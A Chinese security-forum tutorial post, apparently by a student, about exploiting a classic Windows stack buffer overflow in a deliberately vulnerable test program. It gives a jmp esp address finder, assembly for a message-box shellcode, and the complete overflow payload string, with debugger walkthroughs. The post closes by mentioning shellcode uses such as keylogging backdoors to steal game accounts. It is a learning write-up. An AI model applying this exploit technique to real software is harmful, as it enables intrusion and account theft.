吾爱破解 - LCG - LSG |安卓破解|病毒分析|破解软件|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 2217|回复: 15
上一主题 下一主题

[漏洞分析] 缓冲区溢出的利用-解密盗号软件原理(二)

  [复制链接]
跳转到指定楼层
楼主
折木穆 发表于 2019-10-4 10:40 回帖奖励
本帖最后由 折木穆 于 2019-10-4 14:16 编辑

前言

Hello,各位广大的网友们好。笔者为大二在校大学生,软件学院。为践行费曼学习法,并在前辈的建议下开始写自己的一系列博客,之前用一篇文章大概的诠释了缓冲区溢出的基本原理,本文将以此为基础进行缓冲区溢出利用的研究。

基于缓冲区溢出原理:传送门:缓冲区溢出的基本原理(一).

实验前提

  1. 实验环境 :windows 10,Windows XP;
  2. 使用工具IDA pro , OllyDbg,vc6.0;
  3. 目标软件 :test3.exe,get_jmp.exe(由自己编写)

所需基础

基础汇编指令

缓冲区溢出的原理

Win32 Api调用

dll动态链接库

数据结构(仅堆栈)

即使上面基础缺失,本文任有大量的注释及解释帮助理解。

缓冲区溢出原理简单介绍

传送门:缓冲区溢出的基本原理(一).

一句话概括: 由于程序的运行机制,假设利用strcpy()函数进行字符串赋值,因
定义字符串长度及传入字符串长度不一致(过长),从而占用了ebp(栈底)和call(函数)返回地址的栈区。基于此可利用修改函数调用结束后的返回地址,从而使计算机毫不犹豫的执行由我们编写的代码(shellcode)

概要

实验依据:利用缓冲区溢出基本原理,64位的应用程序会加载System32目录下的kernel32.dll,user32.dll,和ntdll.dll。函数执行完esp(栈顶)指针+4的通用性。

实验思路: 通过利用字符串传值方式修改函数(call)返回地址,返回地址采用user32.dll系统领空中(jmp esp)从而执行由我们编写的shellcode代码段

实验核心:

  1. 函数执行到返回地址时:esp+4具有大部分通用性
  2. 64位的应用程序会加载System32目录下的user32.dll
  3. 利用use32.dll段中的jmp esp指令跳转至shellcode

    ShellCode介绍

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。

实验开始

test3.exe

#include<stdio.h>  //引入头文件
#include<string.h>
#include<windows.h>
char name[] = "zhemuzhemumuXXXX";  //定义全局变量

int main()            //返回值 主函数main()
{
        LoadLibrary("user32.dll");        
        char buffer[8];   //开辟8个字节的空间用来存储变量name
        strcpy(buffer,name);  //内置函数(作用):将变量name内容赋值给buffer变量
        printf("%s\n",buffer);  //输出在控制台
        getchar();               //方便观察 作用:等待用户输入按键
        return 0;                //返回值
}

text3.c中 ,变量name赋值给buffer后并引起缓冲区溢出,其中mumu占用ebp栈底数据,而XXXX为返回的地址。

get_jmp.exe中C代码如下:

#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
int main()
{
        BYTE* ptr;
        int position;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary("user32.dll");
        if (!handle)
        {
                printf("Load Dll is fault");
                exit(0);
        }
        ptr = (BYTE*)handle;

        for (position = 0; !done_flag; position++)
        {
                try {
                        if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
                        {
                                int address = (int)ptr + position;
                                printf("OPCODE be founded at 0x%x\n", address);
                        }
                }
                catch (...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }

        }
        getchar();
        return 0;
}

获取ntdll.dll中 [jmp esp] 代码指令的地址。注明:其中0xFF与0xE4为Jmp esp对应的机器码

get_jmp.exe的运行结果

在这里插入图片描述
红框所选的地址均为jmp esp指令所在的地址,打开OD进行验证。

OD载入test3.exe程序,进行验证
在这里插入图片描述

由上图:0x74cab5e9地址为jmp esp指令(get_jmp.exe寻找到的任意一处地址都可以用),可用作为函数调用后返回地址,返回该地址后,计算机会毫不犹豫的执行jmp esp指令,然而esp地址具有通用性(大多数情况下不变),利用此特性植入我们的ShellCode

寻找需要植入API函数调用的地址
1.MessageBoxA()  //方便我们直观查看是否注入成功
2.ExitProcess()   //防止崩溃 关闭进程
3.编写下面代码获取dll中两处API(第一和第二点)所在的地址

获取MessageBoxA() 的地址代码

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("user32.dll");
        //获取到user32.dll所在地址
        printf("user32.dll = 0x%x\n", LibHandle);
        //获取MessageBox函数所在地址
        ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
        printf("MessageBoxA = 0x%x\n", ProcAdd);
        getchar();
        return 0;
}

获取ExitProcess() 的地址代码

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("kernel32.dll");
        //获取到user32.dll所在地址
        printf("user32.dll = 0x%x\n", LibHandle);
        //获取MessageBox函数所在地址
        ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
        printf("MessageBoxA = 0x%x\n", ProcAdd);
        getchar();
        return 0;
}

实验效果如下图并分别记录

在这里插入图片描述

在这里插入图片描述
开始ShellCode汇编代码编写

在这里插入图片描述

记录所需要用到的地址以及Message所需要用到的字符串参数

使用VC6.0,编写内联代码

int main(){

        __asm{

                sub esp,0x50          //提升堆栈
                xor ebx,ebx                //异或ebx为0,可用于分割字符
                push ebx
                //push 0x5761726E    //字符串Warn 由于小端序存储需要倒过来
                push 0x6E726157     //字符串:“warn”
                mov eax,esp
                push 0x146E6F69  //字符串zhemu_injestion 由于小端序存储需要倒过来
                push 0x7473656A
                push 0x6E695F75
                push 0x6D65687A
                mov ecx,esp
                push ebx
                push eax
                push ecx
                push ebx
                mov eax,0x74baf8b0 //间接调用
                call eax
                push ebx
                mov eax,0x77803be0
                call eax
        }
return 0;

        }

通过VC6.0自带工具转换为机器码。

在这里插入图片描述
从test3.c中植入代码

植入ShellCode后的test3.c:

#include<stdio.h>  //引入头文件
#include<string.h>
#include<windows.h>
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" //占领八个位置
                          "\x41\x41\x41\x41"                 //占领ebp位置
                          "\x79\x5b\xe3\x77"                 //jmp esp地址 返回地址
                          "\x83\xEC\x50"
                          "\x33\xDB"
                          "\x53"
                          "\x68\x57\x61\x72\x6E"
                          "\x8B\xC4"
                          "\x68\x69\x6F\x6E\x14"                        
                          "\x68\x6A\x65\x73\x74"
                          "\x68\x75\x5F\x69\x6E"
                          "\x68\x7A\x68\x65\x6D"
                          "\x8B\xCC"
                          "\x53"
                          "\x50"
                          "\x51"
                          "\x53"
                          "\xB8\xEA\x07\xD5\x77"
                          "\xFF\xD0"
                          "\x53"
                          "\xB8\x0A\xD2\x81\x7C"
                          "\xFF\xD0"
                          ;  

int main()            //返回值 主函数main()
{

        char buffer[8];   //开辟8个字节的空间用来存储变量name
        LoadLibrary("user32.dll");
        strcpy(buffer,name);  //内置函数(作用):将变量name内容赋值给buffer变量
        printf("%s\n",buffer);  //输出在控制台
        getchar();               //方便观察 作用:等待用户输入按键
        return 0;                //返回值
}

大功告成,这时候将jmp esp的地址作为返回地址,并在esp地址中编写自己想要的ShellCode代码段

OK,到此为止我们了解了一个ShellCode的基本过程,直接运行text3.exe分析,校验ShellCode是否执行成功?

对text3.exe进行逆向分析。

步骤不多累赘与text1.exe(之前的文章)完全一摸一样,唯一不一样在于栈区返回地址被溢出(占用)

在这里插入图片描述
由上图可知:
1.原本改返回值:0019FF44地址被占用 且指向我们想要的地址(jmp esp)

F8步过

在这里插入图片描述
由上图可知:
1.原本改返回值:0019FF44地址被占用 且指向我们想要的地址(jmp esp)
2.注意红框的内容,esp值为0019FF48,具有通用性

查看0019FF48地址的内容

在这里插入图片描述

内容为我们自己编写的ShellCode代码段 ,我们继续F8步过

在这里插入图片描述

结果并没有直接执行我们编写好的ShellCode代码段,而是出现了一个错误。且错误堆栈反馈如下

在这里插入图片描述

经过大量的谷歌以及百度,借鉴论坛的博主回答如下:

在这里插入图片描述

出处由右下角,屏蔽不必要的广告。

  1. Windows下可能取消ExitProcess()该函数导致错误
  2. 此处留个坑,把《Windows核心编程》原理啃完之后修改此文章

使用虚拟机XP环境进行研究,当然地址有变化如上述描述步骤一样。并成功运行。

在这里插入图片描述
至此,大家应该已经了解了缓冲区溢出漏洞的原理,它就是因为我们输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符将返回地址覆盖掉了,利用jmp esp跳转至我们自己编写的代码。
那么依据这个原理,我们的系统就会毫不犹豫地跳到该地址处去执行指令。因此,如利用缓冲区溢出的漏洞,我们就可以构造出任何我们想要做的事,这样一来,我们就通过程序的漏洞,让计算机执行了我们自己编写的程序。

本文其中例子与实例任有不足之处,笔者才学疏浅,若有错误之处欢迎指出。任有几个坑留到日后能力提升后填,以下进行总结!

知识点:

  1. ShellCode缓冲区溢出利用
  2. Win32 Api调用
  3. 小端序,汇编参数从右向左
  4. Jmp esp通用性
  5. Dll相关知识

关键词:缓冲区溢出,Win32 Api,dll调用

留下思考:
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
除此之外:shellCode还可以做任何事情如:

  1. 恶意破解软件后加入自己收费验证。
  2. 调用获取键盘或鼠标输入函数记录等等留后门(PUBG黑号盗号)
  3. 等等...

本篇为在已知源码中进行ShellCode注入,然而大部分软件并不是开源,需要逆向工程师进行大量的分析以及经验从而进行无源码ShellCode注入,下篇会说明如何编写通用ShellCode以及无源码的情况下注入!

免费评分

参与人数 17吾爱币 +17 热心值 +16 收起 理由
CrazyNut + 2 + 1 哎 都是大学生 差距也太大了 QAQ
朱朱你堕落了 + 1 + 1 现在的学生好吊!!!
wangxp + 1 + 1 谢谢@Thanks!
夜袭和尚庙 + 1 + 1 太强了 现在的大学生真是太强了
1257276297 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
q74330 + 1 我很赞同!
穹戲 + 1 + 1 用心讨论,共获提升!
极速网络 + 1 + 1 谢谢@Thanks!
鹤舞九月天 + 1 + 1 谢谢@Thanks!
遇日不归 + 1 + 1 热心回复!
gaosld + 1 + 1 用心讨论,共获提升!
asq56747277 + 1 + 1 谢谢@Thanks!
qaz003 + 1 + 1 先收藏,找时间慢慢看。。
cs0208 + 1 + 1 热心回复!
729 + 1 + 1 我很赞同!
lookerJ + 1 + 1 热心回复!
asus21 + 1 虽然不是很懂,但图文并茂辛苦楼主了

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
涛之雨 发表于 2019-10-4 13:17
楼上正解。。。。。
咱也不知道啊

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
木ID + 1 + 1 哈哈

查看全部评分

推荐
 楼主| 折木穆 发表于 2019-10-4 14:12 <
liphily 发表于 2019-10-4 11:03
所以要使用scanf_s吗

CTP中PWN类的题都需要利用溢出得到权限,它不止有一种方式有挺多种的
沙发
liphily 发表于 2019-10-4 11:03
5#
zhanyin 发表于 2019-10-4 14:43
如果是远程命令执行那么shellcode该如何改写
6#
戒酒的李白 发表于 2019-10-4 16:42
观摩观摩
7#
逆天昊龙 发表于 2019-10-4 19:01
你这代码写的很厉害
8#
ajjroge61648 发表于 2019-10-4 20:51
谢谢大佬分享教程。谢谢分享
9#
arthas75101 发表于 2019-10-5 00:19
恶意破解软件后加入自己收费验证
这种事情还真有不少崽种做过
10#
a192424 发表于 2019-10-5 09:24
学习一下
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:禁止回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2019-10-14 22:04

Powered by Discuz!

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表